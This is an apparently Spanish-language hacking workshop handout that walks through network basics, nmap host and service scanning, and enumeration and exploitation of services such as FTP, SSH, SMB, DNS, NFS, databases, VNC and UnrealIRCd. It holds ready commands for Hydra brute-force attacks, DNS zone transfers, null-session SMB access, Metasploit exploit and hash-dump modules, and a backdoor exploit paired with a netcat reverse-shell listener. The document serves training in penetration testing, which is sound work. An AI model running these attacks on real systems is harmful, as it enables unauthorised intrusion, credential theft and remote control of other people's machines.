MatthyGD
~/master/atrium/temario_01_hacking_a_servicios.md
Volver

Taller Hacking - Hacking a Servicios por Carmelo Garcia (Aka MatthyGD)


Informe Técnico: Redes

Índice

  1. Qué es la MAC
  2. Qué es una IP
  3. Puertos & Servicios

Que es la MAC

l MAC, o “Media Access Control” es el identificador único que las empresas fabricantes de hardware asignan a la tarjeta de red de cada uno de los dispositivos que producen con el fin de que sean inequívocamente identificables en sus accesos a cualquier red (lo que por supuesto incluye a Internet).

Formato: XX:XX:XX:XX:XX:XX (6 grupos hexadecimales)

Partes:

Función: Dirección física única de un dispositivo de red

Que es una IP

La dirección IP es un conjunto de números que representa a qué punto de Internet está conectado un dispositivo y permite identificarlos en la Red. Las direcciones IP pueden ser privadas o públicas.

Tipos:

Asignación:

Puertos & Servicios

Un puerto (port) es un número que identifica un proceso o servicio específico que está escuchando en una red.
Los servicios son aplicaciones que proveen funcionalidades en una red, como la navegación web o el envío de correo electrónico

Rango total: 0 a 65535

Puertos comunes:

Función: Identifican servicios específicos en un dispositivo


Informe Técnico: Reconocimiento de Hosts

Índice

  1. Netdiscover
  2. ARP-SCAN
  3. Nmap

Escanear Hosts con Netdiscover (ICMP)

Comando:

Script: <- Realizamos un escaneo de Hosts.

sudo netdiscover -r 192.168.0.0/24

Escanear Hosts con ARP-SCAN (ARP)

Comando:

Script: <- Realizamos un escaneo de Hosts.

sudo arp-scan -l

Escanear Hosts con Nmap (ICMP & ARP)

ICMP

Comando:

Script: <- Realizamos un escaneo de Hosts mediante ICMP.

sudo nmap -sn -PE <IP privada>/<Subnet>

ARP

Comando:

Script: <- Realizamos un escaneo de Hosts mediante ARP.

sudo nmap -sn -PR <IP privada>/<Subnet>

Informe Técnico: Reconocimiento de Servicios vía Nmap

Índice

  1. Parámetros Clave
  2. Escaneos sin informe
  3. Escaneos con informe

Tabla de Parámetros Clave

Parámetro Descripción Ejemplo
-p 0-65535 Escanea todos los puertos (0-65535) nmap -p 0-65535 192.168.1.1
–open Muestra solo puertos abiertos nmap --open example.com
-T5 Velocidad máxima (5 = muy rápido/intrusivo) nmap -T5 10.0.0.1
–min-rate=5000 Envía al menos 5000 paquetes por segundo nmap --min-rate=5000 192.168.1.5
-A Escaneo agresivo (incluye -sV, -sC, -O, --traceroute) nmap -A 192.168.1.1
-sT Escaneo TCP con Three-Way Handshake (conexión completa) nmap -sT 192.168.1.1
-sS Escaneo TCP sigiloso (SYN scan, sin completar conexión) nmap -sS 10.0.0.1
-sU Escaneo UDP nmap -sU 192.168.1.1
-sY Escaneo SCTP nmap -sY 10.10.10.1
-Pn Omite descubrimiento de hosts (no hace ping previo) nmap -Pn 172.16.0.5
-n Desactiva resolución DNS (evita consultas DNS) nmap -n example.org
-v Modo verbose (muestra más detalles durante el escaneo) nmap -v 192.168.0.10
–stats-every=5s Muestra estadísticas del escaneo cada 5 segundos nmap --stats-every=5s scanme.nmap.org
-O Detección de sistema operativo nmap -O 192.168.0.100
–traceroute Muestra la ruta de red hasta el objetivo nmap --traceroute google.com

Ejemplos completos de Escaneos de Nmap (Sin informe)

TCP

Con Three Way HandShake

Comando:

Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sT -Pn -n -v <IP victima>
Sin Three Way HandShake

Comando:

Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima>

UDP

Comando:

Script: <- Hacemos un Escaneo con Nmap vía UDP.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sU -Pn -n -v <IP victima>

SCTP

Comando:

Script: <- Hacemos un Escaneo con Nmap via SCTP.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sY -Pn -n -v <IP victima>

Ejemplos completos de Escaneos de Nmap (Con informe)

TCP

Con Three Way HandShake

Comando:

Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sT -Pn -n -v <IP victima> -oX nmap_TCP.xml && xsltproc nmap_TCP.xml -o nmap_TCP.html && open nmap_TCP.html &>/dev/null & disown
Sin Three Way HandShake

Comando:

Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima> -oX nmap_TCP.xml && xsltproc nmap_TCP.xml -o nmap_TCP.html && open nmap_TCP.html &>/dev/null & disown

UDP

Comando:

Script: <- Hacemos un Escaneo con Nmap vía UDP.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sU -Pn -n -v <IP victima> -oX nmap_UDP.xml && xsltproc nmap_UDP.xml -o nmap_UDP.html && open nmap_UDP.html &>/dev/null & disown

SCTP

Comando:

Script: <- Hacemos un Escaneo con Nmap via SCTP.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sY -Pn -n -v <IP victima> -oX nmap_SCTP.xml && xsltproc nmap_SCTP.xml -o nmap_SCTP.html && open nmap_SCTP.html &>/dev/null & disown

Informe Técnico: Enumeración y Explotación de Servicios

Índice

  1. FTP
  2. SSH
  3. Telnet
  4. SMTP
  5. DNS
  6. SMB
  7. Servicio Rexec & Rlogin
  8. Java-RMI
  9. Ingreslock
  10. NFS
  11. MySQL
  12. PostGreSQL
  13. VNC
  14. UnrealIRCd

Servicio FTP

Que es FTP (Puerto predeterminado: 21)

FTP (File Transfer Protocol) es un protocolo ampliamente utilizado para la transferencia de archivos en redes. La enumeración del servicio FTP implica recopilar información relevante, como la versión del servidor FTP, la configuración de permisos de archivos, los usuarios y las contraseñas (mediante ataques de fuerza bruta o guessing), entre otros.

Como acceder al Servicio

Comando:

Script: <- Accedemos al servicio FTP.

ftp <IP victima>

Consejo 1: Intentar acceso anónimo

Algunos servicios FTP permiten iniciar sesión como anonymous.

Comando:

Script: <- Accedemos al FTP.

ftp <IP victima>

Luego introducir:

Usuario: anonymous Contraseña: anonymous

Consejo 2: Ataque de diccionario con Hydra (Si obtenemos un nombre de usuario)

Si tenemos un nombre de usuario válido:

Comando:

Script: <- Realizamos un ataque de diccionario al servicio FTP.

hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 21 <IP victima> ftp -I

Consejo 3: Exploits si el FTP está desactualizado

Una vez que hagamos el escaneo de nmap recuerden que obtendremos la version del servicio.

Comando:

Recuerden que para buscar vulnerabilidades tenemos la pagina: https://www.exploit-db.com/

Si obtenemos un exploit potencial dentro de la pagina exploit.db lo lanzaremos… De lo contrario siempre podemos visitar el Framework Metasploit y buscar un modulo que tenga el servicio y versión del sistema que estemos vulnerando.

Comando:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use exploit/unix/ftp/proftpd_modcopy_exec

Y modificamos los valores correspondientes.


Servicio SSH

Que es SSH (Puerto predeterminado: 22)

SSH (Secure Shell) es un protocolo de administración remota que permite a los usuarios controlar y modificar sus servidores remotos a través de Internet mediante un mecanismo de autenticación seguro. Como una alternativa más segura al protocolo Telnet, que transmite información sin cifrar, SSH utiliza técnicas criptográficas para garantizar que todas las comunicaciones hacia y desde el servidor remoto estén cifradas.

Como acceder al Servicio

Comando:

Script: <- Accedemos al servicio SSH.

ssh <Usuario>@<IP victima>

Consejo 1: Identificar versión y codename

Una vez que hagamos el escaneo de nmap tendremos listo la versión para listar el Codename.

Comando:

Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima>

Una vez recopilado entramos a la siguiente pagina o lo buscamos directamente en google.

https://launchpad.net/ubuntu/+series (Lo ideal es buscarlo en el navegador directamente y obtener el enlace de la web… Siempre suele ser el primer enlace)

Consejo 2: Enumerar usuarios si SSH < 7.7

Comando:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use auxiliary/scanner/ssh/ssh_enumusers

Y modificamos los valores correspondientes.

SSH < 7.7 permite diferencias en los tiempos de respuesta que revelan usuarios válidos.

Consejo 3: Ataque de diccionario con Hydra (Si obtenemos un nombre de usuario)

Comando:

Script: <- Realizamos un ataque de diccionario al servicio SSH.

hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 22 <IP victima> ssh -I

Servicio Telnet

Que es Telnet (Puerto predeterminado: 23)

Telnet es el nombre de un protocolo de red que nos permite acceder a otra máquina para manejarla remotamente como si estuviéramos sentados delante de ella.

Como acceder al Servicio

Comando:

El 23 es el puerto alojado el telnet.

Script: <- Accedemos al servicio Telnet.

telnet <IP victima>

Consejo 1: Ataque de diccionario con Hydra (Si obtenemos un nombre de usuario)

Si tenemos un nombre de usuario válido:

Comando:

Script: <- Realizamos un ataque de diccionario al servicio Telnet.

hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 23 <IP victima> telnet -I

Servicio SMTP

Que es SMTP (Puerto predeterminado: 25)

El puerto 25 forma parte del protocolo SMTP (Protocolo de transferencia de correo simple), se encarga del envío de correos electrónicos desde un cliente como Outlook hacia el servidor. Su uso actualmente representa un riesgo debido a problemas de seguridad y la falta de cifrado en las comunicaciones.

Como acceder al Servicio

Comando:

El 25 es el puerto alojado del SMTP.

Script: <- Accedemos al servicio SMTP.

telnet <IP victima> 25

Consejo 1: Enumerar usuarios

Comando:

Script: <- Enumeramos usuarios validos del SMTP.

smtp-user-enum -m 64 -U <Diccionario> -t <IP victima>

Consejo 2: Ataque de diccionario con Hydra (Si obtenemos un nombre de usuario)

Si tenemos un nombre de usuario válido:

Comando:

Script: <- Realizamos un ataque de diccionario al servicio SMTP.

hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 25 <IP victima> smtp -I

EXTRA: Enviar un correo electrónico

Los caracteres <> son importantes para que el correo verifique la identidad del correo electrónico personal de cada usuario

Script: <- Especificamos quien envía el correo.

MAIL FROM: <carmelo@gmail.com>

Script: <- Especificamos quien recibirá el correo.

RCPT TO: <antonio@gmail.com>

Script: <- Especificamos que queremos escribir datos dentro del correo.

DATA

Script: <- El Asunto del correo electrónico.

Asunto: Correo de prueba

Script: <- Después le escribimos un mensaje que queramos.

Hola! Esto es un correo de prueba!

Script: <- Enviamos el correo poniendo un punto.

.

Script: <- Quitamos el servicio.

QUIT

Servicio DNS

Que es DNS (Puerto predeterminado: 53)

El puerto 53 es un puerto específico en el sistema de comunicación de redes conocido como el “Puerto de DNS” (Domain Name System). DNS es el protocolo que traduce los nombres de dominio legibles por humanos en direcciones IP que las computadoras utilizan para identificar y comunicarse entre sí en internet.

Consejo 1: Resolucionar Virtual Hosting si fuera necesario

Lo primero que tenemos que hacer es resolucionar un Virtual Hosting (Si fuera necesario) para poder transitar peticiones e intercambiar información de datos directamente desde el DNS del Virtual Hosting de la siguiente manera:

Script: <- Realizamos una resolución de Virtual Hosting.

sed -i '2a\<IP victima>   <example.com>' /etc/hosts

Si hubieran mas subdominios haríamos el siguiente comando:

Script: <- Realizamos una resolución de Virtual Hosting.

sed -i '2a\<IP victima> <example.com> <example.com>' /etc/hosts

Consejo 2: Enumerar dominios válidos

Cuando nosotros contemplemos un Dominio es de vital importancia hacer peticiones al servidor para contemplar si tenemos mas registros DNS y expandir la enumeración para un ataque posterior.
Aquí se os proporciona los comandos mas útiles para enumeración de registros DNS.

Consultar todos los registros DNS (Recomendado)

Para consultar absolutamente todos los registros usaremos el siguiente comando:

Script: <- Realizamos una petición para ver todos los registros de DNS.

dig @<IP victima> <example.com> all
Ataque de transferencia de zona (AXFR)

Realizamos una petición AXFR (Recordemos que esto se considera ataque y nos LISTA toda la información de los comandos siguientes!) con Dig:

Script: <- Realizamos una petición al AXFR con Dig.

dig @<IP victima> <example.com> axfr
Petición normal

Realizamos una petición normal al DNS con Dig:

Script: <- Realizamos una petición normal con Dig.

dig @<IP> <example.com>
Petición al TXT

Realizamos una petición al TXT con Dig:

Script: <- Realizamos una petición al TXT con Dig.

dig @<IP> <example.com> TXT
Petición al NS (Name Server)

Realizamos una petición al NS con Dig:

Script: <- Realizamos una petición al NS con Dig.

dig @<IP> <example.com> ns

Petición al MX (Servidores de correos)

Realizamos una petición al MX con Dig:

Script: <- Realizamos una petición al MX con Dig.

dig @<IP> <example.com> mx

Consejo 3: Enumerar dominios válidos mediante ataque de diccionario

Si tenemos dominios válidos entonces podremos usar un ataque de diccionario para encontrar nuevos subdominios de la siguiente manera:

Script: <- Buscamos Subdominios válidos.

ffuf -c -t 200 -r -fc 404 -w <Diccionario> -H "Host: FUZZ.example.com" -u http://example.com

Servicio SMB

Que es SMB (Puerto predeterminado: 445)

SMB significa Server Message Block, es un protocolo de comunicación de red utilizado para compartir archivos, impresoras y otros recursos entre dispositivos de red. Es un protocolo propietario de Microsoft que se utiliza en sistemas operativos Windows.

Que es Samba (Puerto predeterminado: 445)

Samba, por otro lado, es una implementación libre y de código abierto del protocolo SMB, que se utiliza principalmente en sistemas operativos basados en Unix y Linux. Samba proporciona una manera de compartir archivos y recursos entre dispositivos de red que ejecutan sistemas operativos diferentes, como Windows y Linux.

Consejo 1: Enumerar dominio válido + Usuarios dentro del servicio SMB

Usar herramientas como enum4linux, smbclient, o crackmapexec.

Comando:

Script: <- Enumeramos el Servicio SMB/Samba.

enum4linux -a <IP victima>

Script: <- Descubrimos el Dominio de la red.

netexec -t 200 <Protocolo> <IP victima>

Consejo 2: Ataque de diccionario con NetExec (Si obtenemos un nombre de usuario previamente)

Comando:

Script: <- Realizamos un ataque de diccionario al servicio SMB/Samba.

netexec -t 64 <Protocolo> <IP victima> -u <Usuario> -p <Diccionario con passwords> --continue-on-success --ignore-pw-decoding | grep -v 'STATUS_LOGON_FAILURE'

Consejo 3: Enumerar recursos compartidos

Sin Credenciales con sesión nula (Guest)

Script: <- Vemos los recursos compartidos de la maquina victima con credenciales.

smbclient -L <IP victima> -N
Con Credenciales

Comando:

Script: <- Vemos los recursos compartidos de la maquina victima con credenciales.

smbclient -L <IP victima> -U <Usuario>

Consejo 4.1: Login SMB como sesión nula (Guest)

Comando:

Script: <- Intentamos entrar al recurso compartido vía sesión nula.

smbclient //<IP victima>/<Recurso compartido> -N

Consejo 4.2: Login SMB como un Usuario + Credenciales (Obtenidos en el Consejo numero 2)

Comando:

Script: <- Intentamos entrar al recurso compartido con un usuario valido.

smbclient //<IP victima>/<Recurso compartido> -U <Usuario>

Consejo 5: Explotación de SMB con Metasploit

Comando:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use exploit/multi/samba/usermap_script

Y modificamos los valores correspondientes.


Servicio Rexec & Rlogin

Que es Rexec (Puerto predeterminado: 512)

Este servicio permite a un usuario en una máquina remota ejecutar comandos en una máquina que ejecutaba el servicio rexec, generalmente sin requerir autenticación (o con autenticación mínima). Esto lo hacía extremadamente inseguro, ya que era propenso a abusos y a comprometer la seguridad de los sistemas.

Que es Rlogin (Puerto predeterminado: 513)

El comando rlogin le permite iniciar sesión en un sistema remoto directa o indirectamente. Un inicio de sesión remoto directo se intenta con el nombre de usuario predeterminado, es decir, el nombre de usuario del individuo que está conectado actualmente en el sistema local.

Consejo 1: Ingresar al servicio

Cabe destacar que necesitamos haber enumerado usuarios validos del sistema previamente.

De lo contrario… El nombre que testearemos para la intrusión será: root

Para conectarnos al puerto 513 (Login)

Comando:

Script: <- Nos conectamos al servicio Rexec.

rlogin -l <Usuario> <IP victima> -p 513

Servicio Java-RMI

Que es Java-RMI (Puerto predeterminado: 1099)

El servicio 1099 Java RMI es el puerto por defecto utilizado por el Registro de Objetos Remotos (Remote Object Registry) en Java RMI (Remote Method Invocation). Java RMI es una tecnología que permite a objetos Java en diferentes máquinas comunicarse entre sí, invocando métodos remotos.

El Registro de Objetos Remotos es un servicio que actúa como un directorio donde los objetos remotos se registran con un nombre único para que los clientes puedan buscarlos y obtener referencias a ellos. Esto permite que los clientes encuentren y se comuniquen con los objetos remotos en el servidor.

Consejo 1: Explotar el servicio mediante Metasploit

Metasploit:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use exploit/multi/misc/java_rmi_server

Servicio Ingreslock

Que es Ingreslock (Puerto predeterminado: 1524)

Ingreslock es un componente del sistema de gestión de bases de datos Ingres, desarrollado por Computer Associates International, Inc. (CA Technologies). Ingreslock se utiliza para proporcionar bloqueo de registros a nivel de base de datos para garantizar la integridad y consistencia de los datos en entornos multiusuario.

Consejo 1: Acceder al servicio

Comando:

Script: <- Accedemos al servicio Ingreslock.

telnet <IP victima> <Puerto>

Servicio NFS

Que es NFS (Puerto predeterminado: 2049)

Network File System, o NFS, es un protocolo de nivel de aplicación, según el Modelo OSI. Es utilizado para sistemas de archivos distribuido en un entorno de red de computadoras de área local. Posibilita que distintos sistemas conectados a una misma red accedan a ficheros remotos como si se tratara de locales.

Consejo 1: Ver los recursos montados y sincronizados de la maquina victima

Script: <- Vemos si la victima tiene una montura disponible para extraer.

showmount -e <IP victima>

Consejo 2: Montar los recursos en nuestro sistema

Script: <- Creamos un directorio donde montaremos los directorios y archivos montados de la maquina victima.

mkdir -p /mnt/<Nombre que queramos>

Script: <- Montamos los directorios y archivos montados de la maquina victima.

mount <IP victima>:/ /mnt/<Directorio creado>

Consejo 3: Analizar los datos montados

Una vez tengamos todo montado en nuestro sistema simplemente tenemos que ingresar a donde hayamos montado los recursos

Script: <- Nos dirigimos al directorio donde hayamos montado todo el directorio montado de la maquina victima.

cd /mnt/<Directorio creado>

Servicio MySQL

Que es MYSQL (Puerto predeterminado: 3306)

MySQL es un sistema de gestión de bases de datos relacionales (RDBMS) de código abierto. Se utiliza para almacenar y administrar datos en tablas, filas y columnas

Como acceder a la Base de datos

Comando:

Script: <- Accedemos al servicio MYSQL.

mysql --skip-ssl -h <IP victima> -u <Usuario> -p
Comandos para moverse en MYSQL

Script: <- Contemplamos todas las bases de datos existentes.

show databases;

Script: <- Entramos a la base de datos que elijamos.

use <Base de datos>;

Script: <- Contemplamos todas las tablas existentes.

show tables;

Script: <- Contemplamos todas las columnas existentes en la tabla que elijamos.

describe <Tabla>;

Script: <- Seleccionamos que datos queremos ver de las columnas que elijamos.

select <Columna>,<Columna> from <Tabla>;

Script: <- Seleccionamos que datos queremos ver de las columnas que elijamos de forma especificada.

select <Columna>,<Columna> from <Tabla> where <Descripcion>='<Descripcion>';

Script: <- Seleccionamos todos los datos de una columna

select * from <Tabla>;

Consejo 1: Enumerar usuarios válidos

Usar herramientas como nmap.

Nmap:

Script: <- Enumeramos usuarios vía Nmap.

nmap -p 3306 --script=mysql-enum <IP victima>

Consejo 2: Ataque de diccionario con Hydra (Si obtenemos un nombre de usuario)

Comando:

Script: <- Realizamos un ataque de Diccionario.

hydra -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 3306 <IP victima> mysql -I

Consejo 3: Dumpear hashes de usuarios MySQL

Metasploit:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use auxiliary/scanner/mysql/mysql_hashdump

Y modificamos los valores correspondientes.


Servicio PostGreSQL

Que es PostGreSQL (Puerto predeterminado: 5432)

PostgreSQL, también llamado Postgres, es un sistema de gestión de bases de datos relacional orientado a objetos y de código abierto, publicado bajo la licencia PostgreSQL.

Como acceder a la Base de datos

Comando:

Script: <- Accedemos al servicio PostGreSQL.

psql "host=<IP victima> port=5432 user=<Usuario> sslmode=disable"
Comandos para moverse en PostgreSQL

Script: <- Listar todas las bases de datos.

\l

Script: <- Acceder o cambiar una base de datos.

\c <Base de datos>;

Script: <- Listar todas las tablas.

\d

Script: <- Describa una tabla específica.

\d <Tabla>;

Script: <- Contemplamos los Datos de la columna que elijamos de la tabla.

select * from <Columna>;

Consejo 1: Enumerar usuarios válidos

Metasploit:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use auxiliary/scanner/postgres/postgres_login

Y modificamos los valores correspondientes.

Consejo 2: Ataque de diccionario con Hydra (Si obtenemos un nombre de usuario)

Comando:

Script: <- Realizamos un ataque de diccionario al servicio PostGreSQL.

hydra -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 5432 <IP victima> postgres -I

Servicio VNC

Que es VNC (Puerto predeterminado: 5900)

VNC son las siglas en inglés de Virtual Network Computing. VNC es un programa de software libre basado en una estructura cliente-servidor que permite observar las acciones del ordenador servidor remotamente a través de un ordenador cliente.

Consejo 1: Ataque de diccionario con Metasploit (A veces no se requiere poner un nombre de usuario)

Metasploit:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use auxiliary/scanner/vnc/vnc_login

Y modificamos los valores correspondientes.

Consejo 2: Entrar dentro del servicio sin proporcionar ningún tipo de llave

Script: <- Nos conectamos a VNC sin proporcionar llave.

vncviewer <IP victima>:5900

Consejo 3: Entrar al servicio si conseguimos una llave valida

Script: <- Nos conectamos a VNC mediante llave.

vncviewer <IP victima>:5900 -passwd <Archivo de la llave de autorizacion>

Servicio UnrealIRCd

Que es UnrealIRCd (Puerto predeterminado: 6697)

UnrealIRCd es un popular servidor de Internet Relay Chat (IRC) de código abierto. Proporciona una plataforma para que los usuarios se conecten y se comuniquen en tiempo real a través de canales de chat en línea. IRC ha sido una forma común de comunicación en línea desde la década de 1980 y todavía se utiliza ampliamente en la actualidad, especialmente en comunidades de software libre y de código abierto, así como en comunidades de juegos en línea.

Consejo 1: Ver la versión

Una vez que hagamos el escaneo de nmap recuerden que obtendremos la version del servicio.

Comando:

Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.

nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima>

Recuerden que para buscar vulnerabilidades tenemos la pagina: https://www.exploit-db.com/

Si obtenemos un exploit potencial dentro de la pagina exploit.db lo lanzaremos… De lo contrario siempre podemos visitar el Framework Metasploit y buscar un modulo que tenga el servicio y versión del sistema que estemos vulnerando.

Consejo 2: Exploits si el UnrealIRCd está desactualizado

Ejemplo 1

Comando

Script: <- Descargamos el repositorio.

git clone https://github.com/chancej715/UnrealIRCd-3.2.8.1-Backdoor-Command-Execution.git

Script: <- Accedemos al repositorio.

cd UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

Script: <- Lanzamos el ataque: (Tarda un poco en establecerse la conexión)

python3 script.py <IP victima> <Puerto> <IP atacante> <Puerto>
Recordatorio

Recordamos crear el puerto de escucha antes de lanzar el exploit para poder tener la conexión inversa.

Script: <- Creamos un puerto de escucha.

nc -nlvp <Puerto>
Ejemplo 2

Metasploit:

Script: <- Abrimos Metasploit.

msfdb run

Script: <- Elegimos el modulo que necesitamos.

use exploit/unix/irc/unreal_ircd_3281_backdoor

Y modificamos los valores correspondientes.


Recomendaciones Finales